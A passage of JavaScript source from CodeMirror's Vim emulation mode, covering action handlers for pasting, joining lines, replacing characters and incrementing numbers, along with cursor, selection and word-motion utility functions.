          var anchor = lastSelection.anchorMark.find();
          var head = lastSelection.headMark.find();
          if (!anchor || !head) {
            // If the marks have been destroyed due to edits, do nothing.
            return;
          }
          vim.sel = {
            anchor: anchor,
            head: head
          };
          vim.visualMode = true;
          vim.visualLine = lastSelection.visualLine;
          vim.visualBlock = lastSelection.visualBlock;
          updateCmSelection(cm);
          updateMark(cm, vim, '<', cursorMin(anchor, head));
          updateMark(cm, vim, '>', cursorMax(anchor, head));
          CodeMirror.signal(cm, 'vim-mode-change', {
            mode: 'visual',
            subMode: vim.visualLine ? 'linewise' :
                     vim.visualBlock ? 'blockwise' : ''});
        }
      },
      joinLines: function(cm, actionArgs, vim) {
        var curStart, curEnd;
        if (vim.visualMode) {
          curStart = cm.getCursor('anchor');
          curEnd = cm.getCursor('head');
          if (cursorIsBefore(curEnd, curStart)) {
            var tmp = curEnd;
            curEnd = curStart;
            curStart = tmp;
          }
          curEnd.ch = lineLength(cm, curEnd.line) - 1;
        } else {
          // Repeat is the number of lines to join. Minimum 2 lines.
          var repeat = Math.max(actionArgs.repeat, 2);
          curStart = cm.getCursor();
          curEnd = clipCursorToContent(cm, Pos(curStart.line + repeat - 1,
                                               Infinity));
        }
        var finalCh = 0;
        for (var i = curStart.line; i < curEnd.line; i++) {
          finalCh = lineLength(cm, curStart.line);
          var tmp = Pos(curStart.line + 1,
                        lineLength(cm, curStart.line + 1));
          var text = cm.getRange(curStart, tmp);
          text = text.replace(/\n\s*/g, ' ');
          cm.replaceRange(text, curStart, tmp);
        }
        var curFinalPos = Pos(curStart.line, finalCh);
        if (vim.visualMode) {
          exitVisualMode(cm, false);
        }
        cm.setCursor(curFinalPos);
      },
      newLineAndEnterInsertMode: function(cm, actionArgs, vim) {
        vim.insertMode = true;
        var insertAt = copyCursor(cm.getCursor());
        if (insertAt.line === cm.firstLine() && !actionArgs.after) {
          // Special case for inserting newline before start of document.
          cm.replaceRange('\n', Pos(cm.firstLine(), 0));
          cm.setCursor(cm.firstLine(), 0);
        } else {
          insertAt.line = (actionArgs.after) ? insertAt.line :
              insertAt.line - 1;
          insertAt.ch = lineLength(cm, insertAt.line);
          cm.setCursor(insertAt);
          var newlineFn = CodeMirror.commands.newlineAndIndentContinueComment ||
              CodeMirror.commands.newlineAndIndent;
          newlineFn(cm);
        }
        this.enterInsertMode(cm, { repeat: actionArgs.repeat }, vim);
      },
      paste: function(cm, actionArgs, vim) {
        var cur = copyCursor(cm.getCursor());
        var register = vimGlobalState.registerController.getRegister(
            actionArgs.registerName);
        var text = register.toString();
        if (!text) {
          return;
        }
        if (actionArgs.matchIndent) {
          var tabSize = cm.getOption("tabSize");
          // length that considers tabs and tabSize
          var whitespaceLength = function(str) {
            var tabs = (str.split("\t").length - 1);
            var spaces = (str.split(" ").length - 1);
            return tabs * tabSize + spaces * 1;
          };
          var currentLine = cm.getLine(cm.getCursor().line);
          var indent = whitespaceLength(currentLine.match(/^\s*/)[0]);
          // chomp last newline b/c don't want it to match /^\s*/gm
          var chompedText = text.replace(/\n$/, '');
          var wasChomped = text !== chompedText;
          var firstIndent = whitespaceLength(text.match(/^\s*/)[0]);
          var text = chompedText.replace(/^\s*/gm, function(wspace) {
            var newIndent = indent + (whitespaceLength(wspace) - firstIndent);
            if (newIndent < 0) {
              return "";
            }
            else if (cm.getOption("indentWithTabs")) {
              var quotient = Math.floor(newIndent / tabSize);
              return Array(quotient + 1).join('\t');
            }
            else {
              return Array(newIndent + 1).join(' ');
            }
          });
          text += wasChomped ? "\n" : "";
        }
        if (actionArgs.repeat > 1) {
          var text = Array(actionArgs.repeat + 1).join(text);
        }
        var linewise = register.linewise;
        var blockwise = register.blockwise;
        if (linewise) {
          if(vim.visualMode) {
            text = vim.visualLine ? text.slice(0, -1) : '\n' + text.slice(0, text.length - 1) + '\n';
          } else if (actionArgs.after) {
            // Move the newline at the end to the start instead, and paste just
            // before the newline character of the line we are on right now.
            text = '\n' + text.slice(0, text.length - 1);
            cur.ch = lineLength(cm, cur.line);
          } else {
            cur.ch = 0;
          }
        } else {
          if (blockwise) {
            text = text.split('\n');
            for (var i = 0; i < text.length; i++) {
              text[i] = (text[i] == '') ? ' ' : text[i];
            }
          }
          cur.ch += actionArgs.after ? 1 : 0;
        }
        var curPosFinal;
        var idx;
        if (vim.visualMode) {
          //  save the pasted text for reselection if the need arises
          vim.lastPastedText = text;
          var lastSelectionCurEnd;
          var selectedArea = getSelectedAreaRange(cm, vim);
          var selectionStart = selectedArea[0];
          var selectionEnd = selectedArea[1];
          var selectedText = cm.getSelection();
          var selections = cm.listSelections();
          var emptyStrings = new Array(selections.length).join('1').split('1');
          // save the curEnd marker before it get cleared due to cm.replaceRange.
          if (vim.lastSelection) {
            lastSelectionCurEnd = vim.lastSelection.headMark.find();
          }
          // push the previously selected text to unnamed register
          vimGlobalState.registerController.unnamedRegister.setText(selectedText);
          if (blockwise) {
            // first delete the selected text
            cm.replaceSelections(emptyStrings);
            // Set new selections as per the block length of the yanked text
            selectionEnd = Pos(selectionStart.line + text.length-1, selectionStart.ch);
            cm.setCursor(selectionStart);
            selectBlock(cm, selectionEnd);
            cm.replaceSelections(text);
            curPosFinal = selectionStart;
          } else if (vim.visualBlock) {
            cm.replaceSelections(emptyStrings);
            cm.setCursor(selectionStart);
            cm.replaceRange(text, selectionStart, selectionStart);
            curPosFinal = selectionStart;
          } else {
            cm.replaceRange(text, selectionStart, selectionEnd);
            curPosFinal = cm.posFromIndex(cm.indexFromPos(selectionStart) + text.length - 1);
          }
          // restore the the curEnd marker
          if(lastSelectionCurEnd) {
            vim.lastSelection.headMark = cm.setBookmark(lastSelectionCurEnd);
          }
          if (linewise) {
            curPosFinal.ch=0;
          }
        } else {
          if (blockwise) {
            cm.setCursor(cur);
            for (var i = 0; i < text.length; i++) {
              var line = cur.line+i;
              if (line > cm.lastLine()) {
                cm.replaceRange('\n',  Pos(line, 0));
              }
              var lastCh = lineLength(cm, line);
              if (lastCh < cur.ch) {
                extendLineToColumn(cm, line, cur.ch);
              }
            }
            cm.setCursor(cur);
            selectBlock(cm, Pos(cur.line + text.length-1, cur.ch));
            cm.replaceSelections(text);
            curPosFinal = cur;
          } else {
            cm.replaceRange(text, cur);
            // Now fine tune the cursor to where we want it.
            if (linewise && actionArgs.after) {
              curPosFinal = Pos(
              cur.line + 1,
              findFirstNonWhiteSpaceCharacter(cm.getLine(cur.line + 1)));
            } else if (linewise && !actionArgs.after) {
              curPosFinal = Pos(
                cur.line,
                findFirstNonWhiteSpaceCharacter(cm.getLine(cur.line)));
            } else if (!linewise && actionArgs.after) {
              idx = cm.indexFromPos(cur);
              curPosFinal = cm.posFromIndex(idx + text.length - 1);
            } else {
              idx = cm.indexFromPos(cur);
              curPosFinal = cm.posFromIndex(idx + text.length);
            }
          }
        }
        if (vim.visualMode) {
          exitVisualMode(cm, false);
        }
        cm.setCursor(curPosFinal);
      },
      undo: function(cm, actionArgs) {
        cm.operation(function() {
          repeatFn(cm, CodeMirror.commands.undo, actionArgs.repeat)();
          cm.setCursor(cm.getCursor('anchor'));
        });
      },
      redo: function(cm, actionArgs) {
        repeatFn(cm, CodeMirror.commands.redo, actionArgs.repeat)();
      },
      setRegister: function(_cm, actionArgs, vim) {
        vim.inputState.registerName = actionArgs.selectedCharacter;
      },
      setMark: function(cm, actionArgs, vim) {
        var markName = actionArgs.selectedCharacter;
        updateMark(cm, vim, markName, cm.getCursor());
      },
      replace: function(cm, actionArgs, vim) {
        var replaceWith = actionArgs.selectedCharacter;
        var curStart = cm.getCursor();
        var replaceTo;
        var curEnd;
        var selections = cm.listSelections();
        if (vim.visualMode) {
          curStart = cm.getCursor('start');
          curEnd = cm.getCursor('end');
        } else {
          var line = cm.getLine(curStart.line);
          replaceTo = curStart.ch + actionArgs.repeat;
          if (replaceTo > line.length) {
            replaceTo=line.length;
          }
          curEnd = Pos(curStart.line, replaceTo);
        }
        if (replaceWith=='\n') {
          if (!vim.visualMode) cm.replaceRange('', curStart, curEnd);
          // special case, where vim help says to replace by just one line-break
          (CodeMirror.commands.newlineAndIndentContinueComment || CodeMirror.commands.newlineAndIndent)(cm);
        } else {
          var replaceWithStr = cm.getRange(curStart, curEnd);
          //replace all characters in range by selected, but keep linebreaks
          replaceWithStr = replaceWithStr.replace(/[^\n]/g, replaceWith);
          if (vim.visualBlock) {
            // Tabs are split in visua block before replacing
            var spaces = new Array(cm.getOption("tabSize")+1).join(' ');
            replaceWithStr = cm.getSelection();
            replaceWithStr = replaceWithStr.replace(/\t/g, spaces).replace(/[^\n]/g, replaceWith).split('\n');
            cm.replaceSelections(replaceWithStr);
          } else {
            cm.replaceRange(replaceWithStr, curStart, curEnd);
          }
          if (vim.visualMode) {
            curStart = cursorIsBefore(selections[0].anchor, selections[0].head) ?
                         selections[0].anchor : selections[0].head;
            cm.setCursor(curStart);
            exitVisualMode(cm, false);
          } else {
            cm.setCursor(offsetCursor(curEnd, 0, -1));
          }
        }
      },
      incrementNumberToken: function(cm, actionArgs) {
        var cur = cm.getCursor();
        var lineStr = cm.getLine(cur.line);
        var re = /-?\d+/g;
        var match;
        var start;
        var end;
        var numberStr;
        var token;
        while ((match = re.exec(lineStr)) !== null) {
          token = match[0];
          start = match.index;
          end = start + token.length;
          if (cur.ch < end)break;
        }
        if (!actionArgs.backtrack && (end <= cur.ch))return;
        if (token) {
          var increment = actionArgs.increase ? 1 : -1;
          var number = parseInt(token) + (increment * actionArgs.repeat);
          var from = Pos(cur.line, start);
          var to = Pos(cur.line, end);
          numberStr = number.toString();
          cm.replaceRange(numberStr, from, to);
        } else {
          return;
        }
        cm.setCursor(Pos(cur.line, start + numberStr.length - 1));
      },
      repeatLastEdit: function(cm, actionArgs, vim) {
        var lastEditInputState = vim.lastEditInputState;
        if (!lastEditInputState) { return; }
        var repeat = actionArgs.repeat;
        if (repeat && actionArgs.repeatIsExplicit) {
          vim.lastEditInputState.repeatOverride = repeat;
        } else {
          repeat = vim.lastEditInputState.repeatOverride || repeat;
        }
        repeatLastEdit(cm, vim, repeat, false /** repeatForInsert */);
      },
      exitInsertMode: exitInsertMode
    };

    function defineAction(name, fn) {
      actions[name] = fn;
    }

    /*
     * Below are miscellaneous utility functions used by vim.js
     */

    /**
     * Clips cursor to ensure that line is within the buffer's range
     * If includeLineBreak is true, then allow cur.ch == lineLength.
     */
    function clipCursorToContent(cm, cur, includeLineBreak) {
      var line = Math.min(Math.max(cm.firstLine(), cur.line), cm.lastLine() );
      var maxCh = lineLength(cm, line) - 1;
      maxCh = (includeLineBreak) ? maxCh + 1 : maxCh;
      var ch = Math.min(Math.max(0, cur.ch), maxCh);
      return Pos(line, ch);
    }
    function copyArgs(args) {
      var ret = {};
      for (var prop in args) {
        if (args.hasOwnProperty(prop)) {
          ret[prop] = args[prop];
        }
      }
      return ret;
    }
    function offsetCursor(cur, offsetLine, offsetCh) {
      if (typeof offsetLine === 'object') {
        offsetCh = offsetLine.ch;
        offsetLine = offsetLine.line;
      }
      return Pos(cur.line + offsetLine, cur.ch + offsetCh);
    }
    function getOffset(anchor, head) {
      return {
        line: head.line - anchor.line,
        ch: head.line - anchor.line
      };
    }
    function commandMatches(keys, keyMap, context, inputState) {
      // Partial matches are not applied. They inform the key handler
      // that the current key sequence is a subsequence of a valid key
      // sequence, so that the key buffer is not cleared.
      var match, partial = [], full = [];
      for (var i = 0; i < keyMap.length; i++) {
        var command = keyMap[i];
        if (context == 'insert' && command.context != 'insert' ||
            command.context && command.context != context ||
            inputState.operator && command.type == 'action' ||
            !(match = commandMatch(keys, command.keys))) { continue; }
        if (match == 'partial') { partial.push(command); }
        if (match == 'full') { full.push(command); }
      }
      return {
        partial: partial.length && partial,
        full: full.length && full
      };
    }
    function commandMatch(pressed, mapped) {
      if (mapped.slice(-11) == '<character>') {
        // Last character matches anything.
        var prefixLen = mapped.length - 11;
        var pressedPrefix = pressed.slice(0, prefixLen);
        var mappedPrefix = mapped.slice(0, prefixLen);
        return pressedPrefix == mappedPrefix && pressed.length > prefixLen ? 'full' :
               mappedPrefix.indexOf(pressedPrefix) == 0 ? 'partial' : false;
      } else {
        return pressed == mapped ? 'full' :
               mapped.indexOf(pressed) == 0 ? 'partial' : false;
      }
    }
    function lastChar(keys) {
      var match = /^.*(<[\w\-]+>)$/.exec(keys);
      var selectedCharacter = match ? match[1] : keys.slice(-1);
      if (selectedCharacter.length > 1){
        switch(selectedCharacter){
          case '<CR>':
            selectedCharacter='\n';
            break;
          case '<Space>':
            selectedCharacter=' ';
            break;
          default:
            break;
        }
      }
      return selectedCharacter;
    }
    function repeatFn(cm, fn, repeat) {
      return function() {
        for (var i = 0; i < repeat; i++) {
          fn(cm);
        }
      };
    }
    function copyCursor(cur) {
      return Pos(cur.line, cur.ch);
    }
    function cursorEqual(cur1, cur2) {
      return cur1.ch == cur2.ch && cur1.line == cur2.line;
    }
    function cursorIsBefore(cur1, cur2) {
      if (cur1.line < cur2.line) {
        return true;
      }
      if (cur1.line == cur2.line && cur1.ch < cur2.ch) {
        return true;
      }
      return false;
    }
    function cursorMin(cur1, cur2) {
      if (arguments.length > 2) {
        cur2 = cursorMin.apply(undefined, Array.prototype.slice.call(arguments, 1));
      }
      return cursorIsBefore(cur1, cur2) ? cur1 : cur2;
    }
    function cursorMax(cur1, cur2) {
      if (arguments.length > 2) {
        cur2 = cursorMax.apply(undefined, Array.prototype.slice.call(arguments, 1));
      }
      return cursorIsBefore(cur1, cur2) ? cur2 : cur1;
    }
    function cursorIsBetween(cur1, cur2, cur3) {
      // returns true if cur2 is between cur1 and cur3.
      var cur1before2 = cursorIsBefore(cur1, cur2);
      var cur2before3 = cursorIsBefore(cur2, cur3);
      return cur1before2 && cur2before3;
    }
    function lineLength(cm, lineNum) {
      return cm.getLine(lineNum).length;
    }
    function trim(s) {
      if (s.trim) {
        return s.trim();
      }
      return s.replace(/^\s+|\s+$/g, '');
    }
    function escapeRegex(s) {
      return s.replace(/([.?*+$\[\]\/\\(){}|\-])/g, '\\$1');
    }
    function extendLineToColumn(cm, lineNum, column) {
      var endCh = lineLength(cm, lineNum);
      var spaces = new Array(column-endCh+1).join(' ');
      cm.setCursor(Pos(lineNum, endCh));
      cm.replaceRange(spaces, cm.getCursor());
    }
    // This functions selects a rectangular block
    // of text with selectionEnd as any of its corner
    // Height of block:
    // Difference in selectionEnd.line and first/last selection.line
    // Width of the block:
    // Distance between selectionEnd.ch and any(first considered here) selection.ch
    function selectBlock(cm, selectionEnd) {
      var selections = [], ranges = cm.listSelections();
      var head = copyCursor(cm.clipPos(selectionEnd));
      var isClipped = !cursorEqual(selectionEnd, head);
      var curHead = cm.getCursor('head');
      var primIndex = getIndex(ranges, curHead);
      var wasClipped = cursorEqual(ranges[primIndex].head, ranges[primIndex].anchor);
      var max = ranges.length - 1;
      var index = max - primIndex > primIndex ? max : 0;
      var base = ranges[index].anchor;

      var firstLine = Math.min(base.line, head.line);
      var lastLine = Math.max(base.line, head.line);
      var baseCh = base.ch, headCh = head.ch;

      var dir = ranges[index].head.ch - baseCh;
      var newDir = headCh - baseCh;
      if (dir > 0 && newDir <= 0) {
        baseCh++;
        if (!isClipped) { headCh--; }
      } else if (dir < 0 && newDir >= 0) {
        baseCh--;
        if (!wasClipped) { headCh++; }
      } else if (dir < 0 && newDir == -1) {
        baseCh--;
        headCh++;
      }
      for (var line = firstLine; line <= lastLine; line++) {
        var range = {anchor: new Pos(line, baseCh), head: new Pos(line, headCh)};
        selections.push(range);
      }
      primIndex = head.line == lastLine ? selections.length - 1 : 0;
      cm.setSelections(selections);
      selectionEnd.ch = headCh;
      base.ch = baseCh;
      return base;
    }
    function selectForInsert(cm, head, height) {
      var sel = [];
      for (var i = 0; i < height; i++) {
        var lineHead = offsetCursor(head, i, 0);
        sel.push({anchor: lineHead, head: lineHead});
      }
      cm.setSelections(sel, 0);
    }
    // getIndex returns the index of the cursor in the selections.
    function getIndex(ranges, cursor, end) {
      for (var i = 0; i < ranges.length; i++) {
        var atAnchor = end != 'head' && cursorEqual(ranges[i].anchor, cursor);
        var atHead = end != 'anchor' && cursorEqual(ranges[i].head, cursor);
        if (atAnchor || atHead) {
          return i;
        }
      }
      return -1;
    }
    function getSelectedAreaRange(cm, vim) {
      var lastSelection = vim.lastSelection;
      var getCurrentSelectedAreaRange = function() {
        var selections = cm.listSelections();
        var start =  selections[0];
        var end = selections[selections.length-1];
        var selectionStart = cursorIsBefore(start.anchor, start.head) ? start.anchor : start.head;
        var selectionEnd = cursorIsBefore(end.anchor, end.head) ? end.head : end.anchor;
        return [selectionStart, selectionEnd];
      };
      var getLastSelectedAreaRange = function() {
        var selectionStart = cm.getCursor();
        var selectionEnd = cm.getCursor();
        var block = lastSelection.visualBlock;
        if (block) {
          var width = block.width;
          var height = block.height;
          selectionEnd = Pos(selectionStart.line + height, selectionStart.ch + width);
          var selections = [];
          // selectBlock creates a 'proper' rectangular block.
          // We do not want that in all cases, so we manually set selections.
          for (var i = selectionStart.line; i < selectionEnd.line; i++) {
            var anchor = Pos(i, selectionStart.ch);
            var head = Pos(i, selectionEnd.ch);
            var range = {anchor: anchor, head: head};
            selections.push(range);
          }
          cm.setSelections(selections);
        } else {
          var start = lastSelection.anchorMark.find();
          var end = lastSelection.headMark.find();
          var line = end.line - start.line;
          var ch = end.ch - start.ch;
          selectionEnd = {line: selectionEnd.line + line, ch: line ? selectionEnd.ch : ch + selectionEnd.ch};
          if (lastSelection.visualLine) {
            selectionStart = Pos(selectionStart.line, 0);
            selectionEnd = Pos(selectionEnd.line, lineLength(cm, selectionEnd.line));
          }
          cm.setSelection(selectionStart, selectionEnd);
        }
        return [selectionStart, selectionEnd];
      };
      if (!vim.visualMode) {
      // In case of replaying the action.
        return getLastSelectedAreaRange();
      } else {
        return getCurrentSelectedAreaRange();
      }
    }
    // Updates the previous selection with the current selection's values. This
    // should only be called in visual mode.
    function updateLastSelection(cm, vim) {
      var anchor = vim.sel.anchor;
      var head = vim.sel.head;
      // To accommodate the effect of lastPastedText in the last selection
      if (vim.lastPastedText) {
        head = cm.posFromIndex(cm.indexFromPos(anchor) + vim.lastPastedText.length);
        vim.lastPastedText = null;
      }
      vim.lastSelection = {'anchorMark': cm.setBookmark(anchor),
                           'headMark': cm.setBookmark(head),
                           'anchor': copyCursor(anchor),
                           'head': copyCursor(head),
                           'visualMode': vim.visualMode,
                           'visualLine': vim.visualLine,
                           'visualBlock': vim.visualBlock};
    }
    function expandSelection(cm, start, end) {
      var sel = cm.state.vim.sel;
      var head = sel.head;
      var anchor = sel.anchor;
      var tmp;
      if (cursorIsBefore(end, start)) {
        tmp = end;
        end = start;
        start = tmp;
      }
      if (cursorIsBefore(head, anchor)) {
        head = cursorMin(start, head);
        anchor = cursorMax(anchor, end);
      } else {
        anchor = cursorMin(start, anchor);
        head = cursorMax(head, end);
        head = offsetCursor(head, 0, -1);
        if (head.ch == -1 && head.line != cm.firstLine()) {
          head = Pos(head.line - 1, lineLength(cm, head.line - 1));
        }
      }
      return [anchor, head];
    }
    /**
     * Updates the CodeMirror selection to match the provided vim selection.
     * If no arguments are given, it uses the current vim selection state.
     */
    function updateCmSelection(cm, sel, mode) {
      var vim = cm.state.vim;
      sel = sel || vim.sel;
      var mode = mode ||
        vim.visualLine ? 'line' : vim.visualBlock ? 'block' : 'char';
      var cmSel = makeCmSelection(cm, sel, mode);
      cm.setSelections(cmSel.ranges, cmSel.primary);
      updateFakeCursor(cm);
    }
    function makeCmSelection(cm, sel, mode, exclusive) {
      var head = copyCursor(sel.head);
      var anchor = copyCursor(sel.anchor);
      if (mode == 'char') {
        var headOffset = !exclusive && !cursorIsBefore(sel.head, sel.anchor) ? 1 : 0;
        var anchorOffset = cursorIsBefore(sel.head, sel.anchor) ? 1 : 0;
        head = offsetCursor(sel.head, 0, headOffset);
        anchor = offsetCursor(sel.anchor, 0, anchorOffset);
        return {
          ranges: [{anchor: anchor, head: head}],
          primary: 0
        };
      } else if (mode == 'line') {
        if (!cursorIsBefore(sel.head, sel.anchor)) {
          anchor.ch = 0;

          var lastLine = cm.lastLine();
          if (head.line > lastLine) {
            head.line = lastLine;
          }
          head.ch = lineLength(cm, head.line);
        } else {
          head.ch = 0;
          anchor.ch = lineLength(cm, anchor.line);
        }
        return {
          ranges: [{anchor: anchor, head: head}],
          primary: 0
        };
      } else if (mode == 'block') {
        var top = Math.min(anchor.line, head.line),
            left = Math.min(anchor.ch, head.ch),
            bottom = Math.max(anchor.line, head.line),
            right = Math.max(anchor.ch, head.ch) + 1;
        var height = bottom - top + 1;
        var primary = head.line == top ? 0 : height - 1;
        var ranges = [];
        for (var i = 0; i < height; i++) {
          ranges.push({
            anchor: Pos(top + i, left),
            head: Pos(top + i, right)
          });
        }
        return {
          ranges: ranges,
          primary: primary
        };
      }
    }
    function getHead(cm) {
      var cur = cm.getCursor('head');
      if (cm.getSelection().length == 1) {
        // Small corner case when only 1 character is selected. The "real"
        // head is the left of head and anchor.
        cur = cursorMin(cur, cm.getCursor('anchor'));
      }
      return cur;
    }

    /**
     * If moveHead is set to false, the CodeMirror selection will not be
     * touched. The caller assumes the responsibility of putting the cursor
    * in the right place.
     */
    function exitVisualMode(cm, moveHead) {
      var vim = cm.state.vim;
      if (moveHead !== false) {
        cm.setCursor(clipCursorToContent(cm, vim.sel.head));
      }
      updateLastSelection(cm, vim);
      vim.visualMode = false;
      vim.visualLine = false;
      vim.visualBlock = false;
      CodeMirror.signal(cm, "vim-mode-change", {mode: "normal"});
      if (vim.fakeCursor) {
        vim.fakeCursor.clear();
      }
    }

    // Remove any trailing newlines from the selection. For
    // example, with the caret at the start of the last word on the line,
    // 'dw' should word, but not the newline, while 'w' should advance the
    // caret to the first character of the next line.
    function clipToLine(cm, curStart, curEnd) {
      var selection = cm.getRange(curStart, curEnd);
      // Only clip if the selection ends with trailing newline + whitespace
      if (/\n\s*$/.test(selection)) {
        var lines = selection.split('\n');
        // We know this is all whitepsace.
        lines.pop();

        // Cases:
        // 1. Last word is an empty line - do not clip the trailing '\n'
        // 2. Last word is not an empty line - clip the trailing '\n'
        var line;
        // Find the line containing the last word, and clip all whitespace up
        // to it.
        for (var line = lines.pop(); lines.length > 0 && line && isWhiteSpaceString(line); line = lines.pop()) {
          curEnd.line--;
          curEnd.ch = 0;
        }
        // If the last word is not an empty line, clip an additional newline
        if (line) {
          curEnd.line--;
          curEnd.ch = lineLength(cm, curEnd.line);
        } else {
          curEnd.ch = 0;
        }
      }
    }

    // Expand the selection to line ends.
    function expandSelectionToLine(_cm, curStart, curEnd) {
      curStart.ch = 0;
      curEnd.ch = 0;
      curEnd.line++;
    }

    function findFirstNonWhiteSpaceCharacter(text) {
      if (!text) {
        return 0;
      }
      var firstNonWS = text.search(/\S/);
      return firstNonWS == -1 ? text.length : firstNonWS;
    }

    function expandWordUnderCursor(cm, inclusive, _forward, bigWord, noSymbol) {
      var cur = getHead(cm);
      var line = cm.getLine(cur.line);
      var idx = cur.ch;

      // Seek to first word or non-whitespace character, depending on if
      // noSymbol is true.
      var test = noSymbol ? wordCharTest[0] : bigWordCharTest [0];
      while (!test(line.charAt(idx))) {
        idx++;
        if (idx >= line.length) { return null; }
      }

      if (bigWord) {
        test = bigWordCharTest[0];
      } else {
        test = wordCharTest[0];
        if (!test(line.charAt(idx))) {
          test = wordCharTest[1];
        }
      }

      var end = idx, start = idx;
      while (test(line.charAt(end)) && end < line.length) { end++; }
      while (test(line.charAt(start)) && start >= 0) { start--; }
      start++;

      if (inclusive) {
        // If present, include all whitespace after word.
        // Otherwise, include all whitespace before word, except indentation.
        var wordEnd = end;
        while (/\s/.test(line.charAt(end)) && end < line.length) { end++; }
        if (wordEnd == end) {
          var wordStart = start;
          while (/\s/.test(line.charAt(start - 1)) && start > 0) { start--; }
          if (!start) { start = wordStart; }
        }
      }
      return { start: Pos(cur.line, start), end: Pos(cur.line, end) };
    }

    function recordJumpPosition(cm, oldCur, newCur) {
      if (!cursorEqual(oldCur, newCur)) {
        vimGlobalState.jumpList.add(cm, oldCur, newCur);
      }
    }

    function recordLastCharacterSearch(increment, args) {
        vimGlobalState.lastChararacterSearch.increment = increment;
        vimGlobalState.lastChararacterSearch.forward = args.forward;
        vimGlobalState.lastChararacterSearch.selectedCharacter = args.selectedCharacter;
    }

    var symbolToMode = {
        '(': 'bracket', ')': 'bracket', '{': 'bracket', '}': 'bracket',
        '[': 'section', ']': 'section',
        '*': 'comment', '/': 'comment',
        'm': 'method', 'M': 'method',
        '#': 'preprocess'
    };
    var findSymbolModes = {
      bracket: {
        isComplete: function(state) {
          if (state.nextCh === state.symb) {
            state.depth++;
            if (state.depth >= 1)return true;
          } else if (state.nextCh === state.reverseSymb) {
            state.depth--;
          }
          return false;
        }
      },
      section: {
        init: function(state) {
          state.curMoveThrough = true;
          state.symb = (state.forward ? ']' : '[') === state.symb ? '{' : '}';
        },
        isComplete: function(state) {
          return state.index === 0 && state.nextCh === state.symb;
        }
      },
      comment: {
        isComplete: function(state) {
          var found = state.lastCh === '*' && state.nextCh === '/';
          state.lastCh = state.nextCh;
          return found;
        }
      },
      // TODO: The original Vim implementation only operates on level 1 and 2.
      // The current implementation doesn't check for code block level and
      // therefore it operates on any levels.
      method: {
        init: function(state) {
          state.symb = (state.symb === 'm' ? '{' : '}');
          state.reverseSymb = state.symb === '{' ? '}' : '{';
        },
        isComplete: function(state) {
          if (state.nextCh === state.symb)return true;
          return false;
        }
      },
      preprocess: {
        init: function(state) {
          state.index = 0;
        },
        isComplete: function(state) {
          if (state.nextCh === '#') {
            var token = state.lineText.match(/#(\w+)/)[1];
            if (token === 'endif') {
              if (state.forward && state.depth === 0) {
                return true;
              }
              state.depth++;
            } else if (token === 'if') {
              if (!state.forward && state.depth === 0) {
                return true;
              }
              state.depth--;
            }
            if (token === 'else' && state.depth === 0)return true;
          }
          return false;
        }
      }
    };
    function findSymbol(cm, repeat, forward, symb) {
      var cur = copyCursor(cm.getCursor());
      var increment = forward ? 1 : -1;
      var endLine = forward ? cm.lineCount() : -1;
      var curCh = cur.ch;
      var line = cur.line;
      var lineText = cm.getLine(line);
      var state = {
        lineText: lineText,
        nextCh: lineText.charAt(curCh),
        lastCh: null,
        index: curCh,
        symb: symb,
        reverseSymb: (forward ?  { ')': '(', '}': '{' } : { '(': ')', '{': '}' })[symb],
        forward: forward,
        depth: 0,
        curMoveThrough: false
      };
      var mode = symbolToMode[symb];
      if (!mode)return cur;
      var init = findSymbolModes[mode].init;
      var isComplete = findSymbolModes[mode].isComplete;
      if (init) { init(state); }
      while (line !== endLine && repeat) {
        state.index += increment;
        state.nextCh = state.lineText.charAt(state.index);
        if (!state.nextCh) {
          line += increment;
          state.lineText = cm.getLine(line) || '';
          if (increment > 0) {
            state.index = 0;
          } else {
            var lineLen = state.lineText.length;
            state.index = (lineLen > 0) ? (lineLen-1) : 0;
          }
          state.nextCh = state.lineText.charAt(state.index);
        }
        if (isComplete(state)) {
          cur.line = line;
          cur.ch = state.index;
          repeat--;
        }
      }
      if (state.nextCh || state.curMoveThrough) {
        return Pos(line, state.index);
      }
      return cur;
    }

    /**
     * Returns the boundaries of the next word. If the cursor in the middle of
     * the word, then returns the boundaries of the current word, starting at
     * the cursor. If the cursor is at the start/end of a word, and we are going
     * forward/backward, respectively, find the boundaries of the next word.
     *
     * @param {CodeMirror} cm CodeMirror object.
     * @param {Cursor} cur The cursor position.
     * @param {boolean} forward True to search forward. False to search
     *     backward.
     * @param {boolean} bigWord True if punctuation count as part of the word.
     *     False if only [a-zA-Z0-9] characters count as part of the word.
     * @param {boolean} emptyLineIsWord True if empty lines should be treated
     *     as words.
     * @return {Object{from:number, to:number, line: number}} The boundaries of
     *     the word, or null if there are no more words.
     */
    function findWord(cm, cur, forward, bigWord, emptyLineIsWord) {
      var lineNum = cur.line;
      var pos = cur.ch;
      var line = cm.getLine(lineNum);
      var dir = forward ? 1 : -1;
      var charTests = bigWord ? bigWordCharTest: wordCharTest;

      if (emptyLineIsWord && line == '') {
        lineNum += dir;
        line = cm.getLine(lineNum);
        if (!isLine(cm, lineNum)) {
          return null;
        }
        pos = (forward) ? 0 : line.length;
      }

      while (true) {
        if (emptyLineIsWord && line == '') {
          return { from: 0, to: 0, line: lineNum };
        }
        var stop = (dir > 0) ? line.length : -1;
        var wordStart = stop, wordEnd = stop;
        // Find bounds of next word.
        while (pos != stop) {
          var foundWord = false;
          for (var i = 0; i < charTests.length && !foundWord; ++i) {
            if (charTests[i](line.charAt(pos))) {
              wordStart = pos;
              // Advance to end of word.
              while (pos != stop && charTests[i](line.charAt(pos))) {
                pos += dir;
              }
              wordEnd = pos;
              foundWord = wordStart != wordEnd;
              if (wordStart == cur.ch && lineNum == cur.line &&
                  wordEnd == wordStart + dir) {
                // We started at the end of a word. Find the next one.
                continue;
              } else {
                return {
                  from: Math.min(wordStart, wordEnd + 1),
                  to: Math.max(wordStart, wordEnd),
                  line: lineNum };
              }
            }
          }
          if (!foundWord) {
            pos += dir;
          }
        }
        // Advance to next/prev line.
        lineNum += dir;
        if (!isLine(cm, lineNum)) {
          return null;
        }
        line = cm.getLine(lineNum);
        pos = (dir > 0) ? 0 : line.length;
      }
      // Should never get here.
      throw new Error('The impossible happened.');
    }

    /**
     * @param {CodeMirror} cm CodeMirror object.
     * @param {Pos} cur The position to start from.
     * @param {int} repeat Number of words to move past.
     * @param {boolean} forward True to search forward. False to search
     *     backward.
     * @param {boolean} wordEnd True to move to end of word. False to move to
     *     beginning of word.
     * @param {boolean} bigWord True if punctuation count as part of the word.
     *     False if only alphabet characters count as part of the word.
     * @return {Cursor} The position the cursor should move to.
     */
    function moveToWord(cm, cur, repeat, forward, wordEnd, bigWord) {
